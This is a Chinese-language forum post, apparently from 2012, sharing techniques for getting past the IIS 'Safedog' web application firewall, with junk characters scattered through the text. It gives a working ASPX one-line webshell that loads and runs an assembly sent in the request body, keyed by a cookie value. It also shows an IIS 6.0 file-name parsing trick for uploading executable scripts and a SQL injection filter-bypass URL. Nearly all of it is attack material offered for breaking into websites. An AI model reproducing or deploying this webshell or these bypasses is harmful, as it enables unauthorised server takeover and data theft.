1、绕过IIS安全狗的一句话。3 f4 }' j! ^' n3 G9 l/ @5 z. }. M
前几天测试一个网站。找到突破口之后，写入webshell，但服务器上装有IIS安全狗，平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
( W' q+ c# y Z<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。
, W4 L& U: _4 E# Z
: y, F; D" q# h5 @' z' |2、IIS6.0解析漏洞遇到安全狗。+ L2 l% g( a% a, c5 k
文件名为$ }+ ?0 y) v4 z5 @: D; u
http://www.xxxxx.com/sh3llc0de.asp;1.jpg
- g* k9 F! O) } B
5 j( C' Y/ ?7 ~9 S这样的会被IIS安全狗果断屏蔽。, _6 P, ^6 |- [' g: n' s+ M
改成如下名称,IIS6一样会解析：! \4 e% ~+ f- i0 w% ^
www.xxxxx.com/;1.asp;1.jpg
7 l/ N. ~( r5 t3 N+ y6 d* c
% v" e4 `& }0 |! H$ P3、安全狗的注入绕过。& o4 G! F$ e9 a$ S
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。
: ]6 M- D q* b3 y' |但如果：
1 S& } z) ~; u% Q; ?4 W- c5 Pr00ts.asp?r00ts.com=%00.&id=69%20 and 1=1
' C8 d. |* e$ L就可以成功绕过了。$ t/ a$ `# K" Y0 a7 s! T, G: {
3 Y, T6 D4 b; L( S' s# H, y9 l5 u1 ~# }
|
发表于 2012-10-31 08:25:30
收藏
支持
反对